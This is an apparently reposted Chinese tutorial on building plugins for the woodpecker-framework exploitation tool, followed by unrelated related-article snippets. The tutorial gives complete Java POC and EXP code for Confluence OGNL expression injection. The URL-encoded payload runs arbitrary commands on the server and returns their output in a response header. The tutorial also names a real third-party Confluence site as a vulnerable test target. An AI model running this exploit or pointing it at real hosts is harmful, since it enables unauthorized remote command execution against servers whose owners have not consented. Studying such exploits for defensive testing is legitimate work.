POC EXP | woodpecker插件编写

woodpecker插件编写

目录

  • woodpecker介绍
  • woodpecker使用
  • 插件编写
    • 安装环境
      • woodpecker-sdk
      • woodpecker-request
    • 创建Maven项目
  • Confluence OGNL表达式注入漏洞插件编写
    • 创建Package包和Class类
    • 编写POC
      • 漏洞POC
      • 代码编写
      • 导出jar包
      • 将jar包放入woodpecker的plugin目录
      • 运行woodpecker测试
    • 编写EXP
      • 代码编写
      • 运行woodpecker测试

woodpecker介绍

  • https://github.com/woodpecker-framework/woodpecker-framework-release

woodpecker-framework是一款漏洞精准检测深度利用框架,只做一件事:精准狙击高危漏洞

针对人群:专业打点人士。

  • 目标探测
  • 精准检测
  • 深度利用
  • 荷载生成

在这里插入图片描述

woodpecker使用

java -jar woodpecker-framework.1.3.5.jar

运行之后,会自动生成common、config.db、plugin

在这里插入图片描述

plugin用来存放woopecker插件。

插件编写

安装环境

woodpecker-sdk

woodpecker-sdkwoodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。

  • https://github.com/woodpecker-framework/woodpecker-sdk

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

woodpecker-request

woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等

  • https://github.com/woodpecker-framework/woodpecker-requests

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

创建Maven项目

在这里插入图片描述

在这里插入图片描述

    <dependencies><dependency><groupId>me.gv7.woodpecker</groupId><artifactId>woodpecker-sdk</artifactId><version>0.3.0</version></dependency><dependency><groupId>me.gv7.woodpecker</groupId><artifactId>woodpecker-requests</artifactId><version>0.2.0</version></dependency></dependencies>

Confluence OGNL表达式注入漏洞插件编写

创建Package包和Class类

创建Package包

  • exploit
  • pocs
  • utils

和Class类

  • ConfluenceVulPlugin(不固定,和漏洞名相关)
  • WoodpeckerPluginManager整个程序的入口
  • ConfluenceOgnlPoc(不固定,和漏洞名相关)
  • ConfluenceOgnlExp(不固定,和漏洞名相关)

在这里插入图片描述

编写POC

漏洞POC

http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/

进行url编码为:

/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/

代码编写

WoodpeckerPluginManager类:(整个插件的入口)

package me.gv7.woodpecker.plugin;// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{@Overridepublic void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {// 注册漏洞插件iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );}
}

ConfluenceVulPlugin类:(具体的漏洞插件类)

package me.gv7.woodpecker.plugin;import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;import java.util.ArrayList;
import java.util.List;// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{public static IVulPluginCallbacks callbacks;public static IPluginHelper pluginHelper;@Overridepublic void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {this.callbacks = iVulPluginCallbacks;this.pluginHelper = iVulPluginCallbacks.getPluginHelper();iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述// 注册漏洞验证模块iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());// 注册漏洞利用模块(利用模块可以有多个)List<IExploit> exploitList = new ArrayList();exploitList.add(new ConfluenceOgnlExp());iVulPluginCallbacks.registerExploit(exploitList);}
}

ConfluenceOgnlPoc类:

package me.gv7.woodpecker.plugin.pocs;import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;import java.util.HashMap;
import java.util.Map;
import java.util.Objects;public class ConfluenceOgnlPoc implements IPoc {@Overridepublic IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {// 创建输出模块,用作结果的输出IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();// 设置目标地址,iTarget.getAddress()由插件面板获取地址scanResult.setTarget(iTarget.getAddress());// 调用漏洞验证函数Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());scanResult.setExists((Boolean) responseMap.get("flag"));scanResult.setMsg((String) responseMap.get("results"));iResultOutput.infoPrintln((String) responseMap.get("results"));return scanResult;}// 漏洞验证函数private Map<String, Object> checkConfluenceOgnl(String address){Map<String,Object> responseMap = new HashMap<>();boolean flag = false;String results  = null;try {/*Requests.get()发送一个get请求(验证漏洞的POC)。verify(false) : 忽略https证书失效timeout(3000) : 超时时间3000毫秒send() : 发送*/RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();String header = response.getHeader("X-Response");if(response.statusCode() == 302 && header.contains("ognlinject")){flag = true;results = String.format("%s存在命令注入漏洞!!!",address);}else {flag = false;results = String.format("%s不存在命令注入漏洞",address);}}catch (Exception e){flag = false;results = String.format("%s不存在命令注入漏洞",address);}finally {// 设置responseMap的值,将flag和results带回去responseMap.put("flag",flag);responseMap.put("results",results);}// 返回return responseMap;}
}

导出jar包

点击“package”生成jar包:

在这里插入图片描述

在这里插入图片描述

将jar包放入woodpecker的plugin目录

在这里插入图片描述

运行woodpecker测试

在这里插入图片描述

测试网址:此网址存在该漏洞

https://confluence.startwire.com

在这里插入图片描述

编写EXP

代码编写

ConfluenceOgnlExp类:

package me.gv7.woodpecker.plugin.exploit;import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;public class ConfluenceOgnlExp implements IExploit {@Overridepublic String getExploitTabCaption() {return "代码执行";  // 选项名称}// 接收用户参数@Overridepublic IArgsUsageBinder getExploitCustomArgs() {IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();List<IArg> args = new ArrayList<>();IArg command = ConfluenceVulPlugin.pluginHelper.createArg();command.setDescription("执行的命令");command.setName("Command");command.setDefaultValue("whoami");command.setRequired(true);  // 必填args.add(command);argsUsageBinder.setArgsList(args);return argsUsageBinder;}@Overridepublic void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {try {String command = (String) map.get("Command");command = URLEncoder.encode(command);String address = iTarget.getAddress();RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();if (response.statusCode() == 302){String responseHeader = response.getHeader("X-Response");iResultOutput.successPrintln(responseHeader);}else{iResultOutput.failPrintln("执行失败了~");}}catch (Exception e){iResultOutput.failPrintln("执行异常了~");}}
}

运行woodpecker测试

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/28032.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springCloudAlibaba之分布式网关组件---gateway

gateway-网关 网关spring cloud gateway 网关 在微服务架构中一个系统会被拆分成多个微服务。那么作为客户端(前端)要如何去调用这么多的微服务&#xff1f;如果没有网关的存在&#xff0c;我们只能在客户端记录每个微服务的地址&#xff0c;然后分别去用。 这样的架构&#x…

【文档智能】实践:基于Yolo三行代码极简的训练一个版式分析模型

一、数据集 本文以开源的CDLA数据集做为实验&#xff0c;CDLA是一个中文文档版面分析数据集&#xff0c;面向中文文献类&#xff08;论文&#xff09;场景。包含以下10个label&#xff1a; 数据集下载地址&#xff1a;https://github.com/buptlihang/CDLA 数据集是labelme格式…

「茶桁 AI 秘籍-CV 篇」预告

Hi, 大家好。 我是茶桁。 咱们的《茶桁的 AI 秘籍》系列距离上一个系列课程《人工智能 BI 核心》已经有一段时间了&#xff0c;终于有时间可以写 CV 部分的课程&#xff0c;主要也是最近一段时间我确实有点忙不过来。 那么咱们 CV 的课程会有一些变化&#xff0c;就是会改为收…

搭建k8s集群报错unknown command “\u00a0“ for “kubeadm init“

搭建k8s报错unknown command “\u00a0” for “kubeadm init” 网上搜了一下&#xff0c;是因为复制过来的命令前面包含了空格&#xff0c;将复制的命令放到idea可以清楚看到几个命令前面有空格&#xff0c;删除掉就好了&#xff0c;记录一下

Github入门教程,适合新手学习(非常详细)

前言&#xff1a;本篇博客为手把手教学的 Github 代码管理教程&#xff0c;属于新手入门级别的难度。教程简单易操作&#xff0c;能够基本满足读者朋友日常项目寄托于 Github 平台上进行代码管理的需求。Git 与 Github 是一名合格程序员 coder 必定会接触到的工具与平台&#x…

React+TS前台项目实战(六)-- 全局常用组件Button封装

文章目录 前言Button组件1. 功能分析2. 代码注释说明3. 使用方式4. 效果展示&#xff08;1&#xff09;有加载动画&#xff0c;执行promise函数&#xff08;2&#xff09;无加载动画&#xff0c;执行click事件 总结 前言 今天这篇主要讲全局按钮组件封装&#xff0c;可根据UI设…

2023年13个最适合销售电子书的WordPress主题

欢迎来到我们用于销售电子书和其他数字/可下载产品&#xff08;软件、应用程序、图标集、主题等&#xff09;的最佳WordPress主题的完整集合。 这些主题有内置的支付网关&#xff0c;可以通过 PayPal、信用卡等处理安全支付。&#xff08;易于配置&#xff01;&#xff09; 最…

如何进行文件映射

创建一个文件WebMvcConfig package com.itheima.config;import lombok.extern.slf4j.Slf4j; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.…

红队攻防渗透技术实战流程:中间件安全:JettyJenkinsWeblogicWPS

红队攻防渗透实战 1. 中间件安全1.1 中间件-Jetty-CVE&信息泄漏1.2 中间件-Jenkins-CVE&RCE执行1.2.1 cve_2017_1000353 JDK-1.8.0_291 其他版本失效1.2.2 CVE-2018-10008611.2.3 cve_2019_100300 需要用户帐号密码1.3 中间件-Weblogic-CVE&反序列化&RCE1.4 应…

zip加密txt文件后,暴力破解时会有多个解密密码可以打开的疑问??

最近在做一个关于zip压缩文件解密的测试&#xff0c;发现通过暴力解密时&#xff0c;会有多个解密密码可以打开&#xff0c;非常疑惑&#xff0c;这里做个问题&#xff0c;希望能有大佬解惑。 1、首先在本地创建一个113449.txt的文件&#xff0c;然后右键txt文件选择压缩&…

RoCE网络架构在高性能计算的应用

浅析RoCE在高性能计算的应用 在高性能计算(HPC)系统的发展初期,通常选择专业网络解决方案,如Myrinet、Quadrics和InfiniBand,而不是以太网解决方案。通过定制网络方案可以有效解决以太网解决方案的限制,增强带宽、降低延迟、改善拥塞控制。 2010年,IBTA推出了RoCE协议技…

PyQT5 键盘模拟/鼠标连点器的实现

近来在玩一个游戏,找不到合适的鼠标连点器,不是有广告就是功能太复杂,自己写了一个,分享出来,如果有需要的可以自行运行研究。 准备工作 Python版本:Python 3.12.3;运行前确保pyQT5已经安装: pip install PyQt5程序运行界面: 程序代码: 通过引入单独的常量和变…

智能计算系统-概述

1、人工智能技术分层 2、人工智能方向人才培养 3、课程体系的建议 4、智能系统课程对学生的价值 5、智能计算系统对老师的价值 6、什么是智能计算系统 7、智能计算系统的形态 8、智能计算系统具有重大价值 9、智能计算系统的三大困难 10、开创深度学习处理器方向 11、寒武纪的国…

用一个ESP32S3-Zero把有线键盘变为无线

三脚猫最近一直琢磨&#xff0c;那些喜欢买剪线键盘&#xff0c;以及自制键盘瞎折腾的人都是怎么搞的。经过不懈努力&#xff0c;终于想明白除了直接的硬件一个个pin针的高低电压判断后转给蓝牙&#xff0c;拿到现成的古董剪线键盘还有一个方式其实是在usb host转发给蓝牙类似这…

北斗三代一体式数传终端短报文

北斗三代一体式数传终端短报文M20C-V30针对船载通信和导航应用推出的一款支持北斗 RDSS/RNSS 功能的船载一体机。北斗数传终端内部集成了北斗多频天线、射频、基带以及主控等功能单元&#xff0c;可实现 RDSS 定位、短报文通信和 RNSS 导航定位等功能。M20C-V30型北斗数传终端体…

Java线程池的抛弃策略

Java线程池的抛弃策略 Java线程池是Java并发编程中非常重要的一个组件。它通过重用已创建的线程来减少线程创建和销毁的开销&#xff0c;从而提高应用程序的性能和响应速度。然而&#xff0c;当线程池中的任务数量超过其处理能力时&#xff0c;就需要一种机制来处理新提交的任…

datax的安装及使用入门

1 下载解压Datax tar包 下载到自己指定的安装目录 #wget http://datax-opensource.oss-cn-hangzhou.aliyuncs.com/datax.tar.gz 进行解压 tar -zxvf datax.tar.gz 2 Datax验证 #修改datax/bin目录下datax.py的权限 chmod 777 datax/bin/datax.py 2.1运行官方给定的任务…

【Pandas驯化-03】Pandas中常用统计函数mean、count、std、info使用

【Pandas驯化-03】Pandas中常用统计函数mean、count、std、info使用 本次修炼方法请往下查看 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合&#xff0c;智慧小天地&#xff01; &#x1f387; 相关内容文档获取 微…

springboot集成shardingsphere-分库分表

导入maven依赖&#xff0c;如下 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><a…

哈工大-公差基础-配合(互换性和测量基础)-3

基轴制的情况&#xff1a; 三种配合类别的选择&#xff1a; 公差带是由标准公差和基本偏差组成的。 公差带的选用&#xff1a; 未注公差的标准&#xff1a; 练习&#xff1a; 计算过程&#xff1a;